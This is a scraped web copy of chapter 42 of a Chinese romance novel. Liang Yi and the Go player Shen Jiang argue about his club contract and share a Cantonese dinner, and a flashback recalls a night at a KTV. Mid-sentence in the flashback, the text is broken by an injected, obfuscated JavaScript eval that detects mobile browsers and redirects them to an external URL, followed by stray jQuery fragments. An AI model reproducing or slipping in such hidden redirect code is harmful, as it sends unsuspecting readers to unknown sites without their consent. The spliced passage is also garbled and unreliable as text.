42.


    梁意觉得自己是个很别扭的人。


    所思所想，总时刻都在变化。


    又或许敏感的人都是如此，不止她一个。


    酒店外的空气湿润一片，站在蔽雨的屋檐下也免不了被雨水侵扰。沈降仍旧是一身极简设计的服饰，被他穿的好似秀台模特，长手长腿，身形挺拔。他没什么耐心，很快就开口催促着：“你要说什么？”


    “我以为你知道。”梁意语气生硬，也不愿继续朦胧着对话。“你明知道一扬现在是什么境地，偏要为了跟我赌气签下合同。沈降，你是想让我对你更加内疚些吗？那你成功了。”


    他呵的笑了。


    是气笑的。


    “梁意，你是不是太把自己当回事了？”


    “我凭什么为了跟你赌气签一份自己不感兴趣的合约。”


    梁意很难接受他的这个决定。


    许久，才说：“你真的有认真考虑吗？从前我利用恋爱将你绑在一扬本身就是自私的决定，我已经后悔了。所以之后不论你围甲签在哪个队伍，我都会为你加油。”


    “可你偏要回到一扬，你怎么.....怎么就是想不通这样做对自己不好呢。”


    她的脑海中又浮现出了魏抒怀沉稳淡然的作派，气恼涌上心头。


    或许是梁意的越发差劲的脸色过于明显，跟她面对面站着的沈降也卸下那股说不明的叛逆劲儿，青年温热的手掌落在她的发顶，压下了梁意心底躁动不安的歉意。


    “梁意。”


    “虽然不知道你为什么对我签在一扬这么抵触，但我不觉得一扬对我来说跟其他队伍差在哪里。”


    “你记得吗，那天你上门提起签约，我曾经说过……”


    “或许名列前茅的卫冕冠军听起来令人向往，又或许高价聘用我的队伍能给我丰厚的酬劳，可是卫冕冠军队伍都是有经验的前辈，谁都不比我差，真的签了我首发给谁都会遭受非议。高价聘用我的队伍比起围甲更加看重我的商业价值，而我最厌恶的就是做人本末倒置。”


    “我不是在说漂亮话，我就这么想的。”


    “一扬挺好，不管老板是谁，我有自信不会带着它走向降级赛。”


    “围甲联赛也是跟众多前辈请教的好机会。”


    “我还年轻，有的是时间磨练。”


    “现在被人推得高也不是什么值得庆幸的事。”


    沈降难得认真跟她谈起自己的想法，字字句句都说的慢且坚定。那些话也仿佛有魔力般，真的安抚了她。


    他看向在他的安抚下渐渐平静的女孩，再度开口：“相信我好吗？我知道自己想要什么。也很清楚当下做什么选择会更好。”


    此时的沈降，让梁意觉得陌生。


    就好像在分开的这几年里，他一直往前走。


    可本以为自己始终向前的梁意，反而输得一败涂地。


    在看不到的内心困境之地，她一直停在分手的那年，没有任何成长。


    “别担心我，梁意。”


    他说。


    “我只会比你想象的，过的还要好很多。”


    事实也确实如此。


    随风溅来的雨水夹杂着丝丝凉意，让梁意从混沌的思绪中清醒过来。手机嗡嗡的震动着，抗议主人接二连三忽视它的行为。她顶着沈降的目光接通，里面是陈宏喜极而泣的腔调，“赢了！！！小意！！！我们赢了！！我们不用去围乙了！！赢了！”


    刘正奇八段居然以微弱差距险胜严靖，加上梁旭激动万分拿下傅垣为他们锁定了至关重要的积分，让他们终于走出了降级赛的阴影。


    意想不到的胜局提升了士气，所有人的脸上都洋溢着喜悦。


    就连沈降这样桀骜的人，听到消息后，也能看得出心情不错。


    经理趁热打铁提议晚上聚餐得到了众人的应允。


    梁意提不起来精神，又要佯装开心，不能扫兴。


    “你那是什么表情，有话就说？”


    沈降倚在走廊的墙边淡淡道。


    “我有话想......”


    沈降就站在她面前，没有丝毫的遮掩，那双藏着审视的眼眸也始终都落在她身上。看的梁意心中歉疚，恨不得一口气把心里憋着的想法全都说出来。


    可是在刚刚沈降说了那样一番话后，如果魏抒怀真的找到他聊起合同的事儿，沈降知道她买下了合同，会是怎样的反应呢？梁意不敢细想，那股子涌上来的劲头又突然间消失不见。


    她憋了半天，挤出一句：“下棋很费脑子吧，要不要我请你吃饭，我知道一家好吃的粤菜。”


    “.........”沈降难得无语，盯着她看了许久，噗嗤笑了出来：“你怎么回事，赢了棋的又不是我，你不参加俱乐部的聚餐，倒是邀请我这个看热闹的人吃饭。”


    “我才没有。”梁意也觉得自己不可理喻，丢脸的同时干脆的转过身不跟沈降继续对视：“你爱吃不吃。”


    “吃，你请的饭当然要吃。”


    沈降抄起一把竖在角落里供客人使用的黑伞撑开，迈步追上她，两人并肩而行。


    “虽然你满脸都写着藏了什么事儿想说的表情，但我这会的却有点饿了，有什么话，吃饱了再提。”


    “我表现的这么明显吗？”


    “你向来就藏不住事儿。”他说着，再迈步走进雨幕中时便自然的抬起手臂搭在梁意肩头，带着她往前走。“去哪儿吃？”


    这家粤菜馆是从前梁意父亲藏着的宝贝，基本上一周要来吃一次才解馋。


    店主夫妇比起来挣钱更多是想有事做，所以店面不大，只有两个人忙忙碌碌的，不是熟客的话还不太容易找来这个偏僻的地方。


    两人在阿姨的热情招待下落座。


    沈降习惯了当甩手掌柜，点单都交给梁意，自己品着热茶，手里还玩着梁意手机上的俄罗斯方块消磨时间。


    梁意也由着他，专心点菜。


    半小时后，两人点的菜就上齐了。


    沙茶牛肉、清炒菜心、海棠冬菇、清蒸鱼另外再配上一份热腾腾的砂锅粥。菜的份量很小，却能够让人品尝更多的菜肴，也算是变相的给梁意这个选择恐惧症提供了方便。


    心里压着的事儿被一顿美食打散，热粥温暖了深秋的胃，让梁意忍不住发出一声叹息。


    沈降对饭菜向来不挑，有什么吃什么，倒是面前的人吃相勾人馋虫，让他也比平时多吃了不少。直到胃发出抗议，他才停下筷子用茶来安抚涌上的油腻感。一顿饭吃的很安静，梁意没有谈及什么，沈降也没问。


    茶足饭饱，梁意起身去了洗手间。


    手机上的游戏小程序里，俄罗斯方块的积分已经累计到惊人的数字，却被突然打进来的电话扰乱。那是个陌生的本地号码，沈降按键的手没来得及收回，接通了来电。


    等梁意出来，原本坐在位置上的人不知何时等在了饭店门口。她过去结账却被老板告知沈降已经结过了。梁意朝着他走去，敏感的察觉到他似乎兴致不高：“说好了我请你，待会我还给你。”


    “梁意。”沈降突然喊她名字，严肃起来的眸子看着过来，带着莫名的压迫感：“你想对一个人好，首先应该想想，他到底想要什么。而不是把你以为的好，强加给他。你懂我的意思吗？”


    “.....”梁意沉默着。


    沈降叹了口气，有些无奈：“算了，你一直就没明白过。”


    两人在路口告别，沈降说他还有事不顺路，抬手拦了辆车把梁意塞进去，报了俱乐部的地址。


    沈降很少这样我行我素，起码在她面前没有过。


    印象中为数不多的几次都是梁意惹了他生气。


    大学时常有社团活动或者系里组织聚会，梁意借着家里有事儿很少参加。不合群到室友看不下去，有一次和小只吃过饭从食堂出来，接了个电话强行拖着她出去玩。


    KTV嘈杂吵闹，包间里传来或是好听或是灾难现场的歌声。


    她待了没一会就有些受不了里面的气氛，借着上厕所往外跑。


    小只铁了心的要留住她，她上厕所她就跟着，苦口婆心的劝说。


    “就是一起唱唱歌，你坐着吃果盘都行，每次都不参加的话大家背后嚼舌根都说你不合群，说美女都眼光高什么的。你不是也不爱听这些吗？”


    “都是女孩子，你别这么紧张啦！”


    梁意也懂得小只的一片苦心，只能用善意的谎言为自己解围：“我就是不太喜欢吵闹的氛围，会觉得头疼。下次你们有其他活动可以喊我呢，我一定参加。”


    小只一听，也不好强人所难，只能关心的问着：“头疼的厉害吗？？抱歉！我都没问问你就擅自拉你过来了。你等一下，我跟她们说一声，我们先回去好啦！”


    “我自己走就行。”梁意连


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14886546|155599||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    忙拒绝着。


    “太晚了，一个人不安全。我陪你吧。或者……”小只低声道，“你喊沈降九段来接你也可以，不然我不放心你自己回去啦。“


    梁意到现在都忘不了那个夜晚沈降满头大汗的跑来KTV的模样。


    她和小只坐在KTV外的阶梯上等，心里忐忑不安。


    忍不住抱怨着：“他很忙的。”


    “我怕你随便找个人搪塞我，再说了，他答应的这么爽快，你怕什么？”


    她没想到小只几句话，沈降就答应过来，一时间也弄不明白沈降是怎么想的，明明这人根本就不看手机不接电话，怎么她一打过去，他就接了。


    因为那个时候，两人之间刚刚捅破窗户纸，以男女朋友的身份相处。梁意小心翼翼的维持着这段感情，自觉她和沈降更多像是单方面压榨价值的利益关系，所以确定关系后的相处也让她更加如履薄冰。抱着不愿被人窥探这段感情的想法，她几乎不会带沈降进入自己的社交圈。


    沈降在棋院，下午他还发来信息问梁意要不要过去陪他。


    梁意被小只折腾的一点精神都没，只是说自己学校有事儿去不成了。


    结果......


    半个小时后，人群熙攘的市中心街道上出现了一个熟悉的身影。


    个高的男生穿了件白蓝相间的短袖，下面是黑色运动裤，衬得他长手长脚，背也挺得笔直。初春的季节，满大街都还是冬装秋装混搭，唯有他，运动服的外套都抓在手里就这么穿了件短袖往这边跑来。


    微卷的短发被汗水沁湿捋到了后面，露出一张在人群中总能一眼看到的脸庞。


    就连小只这种浏览帅哥无数的人都忍不住感叹：“网上搜的照片果然拍不出十分之一帅啊，一个下围棋的怎么能这么帅呢！”


    而此时梁意哪里还听得到小只的话。


    她满心满眼都只剩下那个大步往这边跑来的人。


    等她迎上前去还差点被台阶绊倒，多亏沈降眼疾手快，一把捞住了她的臂弯：“急什么，看路。”


    “你才是急什么啊。”梁意看着他额头的汗，低声道。


    沈降看了眼自来熟抬手跟他打招呼的小只，又看了看面前好好的梁意，也明白过来怎么回事儿了。他抬手揉了把梁意的长发：“你朋友说你喝醉了，让我过来。我当然急了。”


    她这才明白为什么沈降跑得满头大汗。


    梁意连忙解释：“她开玩笑啦，这你也信。”


    “宁可信其有不可信其无。”


    “你好，我是沈降。”


    “又见面了。”


    他说着，大大方方的朝着小只伸手。


    因为沈降，梁意终于脱离了KTV的喧闹。


    走在回家的路上，沈降被梁意逼着穿上外套：“你都不知道冷吗！手都是凉的！虽然入春了，但是温度没有降下来，万一感冒怎么办。”


    沈降任由她唠叨，等她不说了才解释：“我大衣忘在棋院了。”


    “你其实不用这样。”梁意顿时觉得愧疚。


    沈降突然停下了脚步转身看向她。


    她被盯得有些堂皇，忍不住道：“怎么了？”


    “以前确实不用这样，但现在身份变了。作为梁意的男朋友，接送女友，也不算什么要不好意思的行为吧？”


    梁意愣了愣，问他：“你在生气吗？”


    虽然沈降表现的不明显，但是梁意能感觉出来他在生气。


    沈降低头凑近她，借着路灯的光线看到她染上红晕的脸颊，郁闷道：“本以为我女朋友看不出我在生气，没想到也没那么傻。”


    “你才傻。”梁意嘟囔道。


    “梁意。”沈降喊她。


    “嗯？”


    “以后如果我生气了，你记得哄哄我。”


    梁意因为这句话短暂沉默了会，然后突然抬手搂住了沈降的胳膊，抱紧，心脏砰砰跳：“这样算是哄你吗？”


    她能感觉到沈降因为她的动作僵住的身子。


    接着，只听他清清嗓子：“算，太算了。”


    笑容绽开，笑得肆意。


    回忆告终，视线里是越来越小的路口一角。


    不似少年摸样的沈降站在路边目送她离开，梁意坐在出租车里，有些后悔就这么走了。


    明明已经察觉到他在生气，哪怕不知道他在气什么，可她本应该哄哄他的。